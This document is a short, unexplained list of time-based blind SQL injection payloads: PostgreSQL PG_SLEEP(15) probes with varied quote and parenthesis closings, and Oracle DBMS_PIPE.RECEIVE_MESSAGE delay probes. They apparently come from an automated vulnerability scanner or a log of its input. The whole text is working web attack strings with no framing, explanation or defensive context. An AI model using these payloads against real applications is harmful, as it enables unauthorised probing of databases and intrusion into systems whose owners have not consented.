555-1 OR 507=(SELECT 507 FROM PG_SLEEP(15))--

555-1) OR 27=(SELECT 27 FROM PG_SLEEP(15))--

555-1)) OR 303=(SELECT 303 FROM PG_SLEEP(15))--

5558abqIY7C' OR 116=(SELECT 116 FROM PG_SLEEP(15))--

555gVJwWEMs') OR 904=(SELECT 904 FROM PG_SLEEP(15))--

5552pOGso5F')) OR 783=(SELECT 783 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555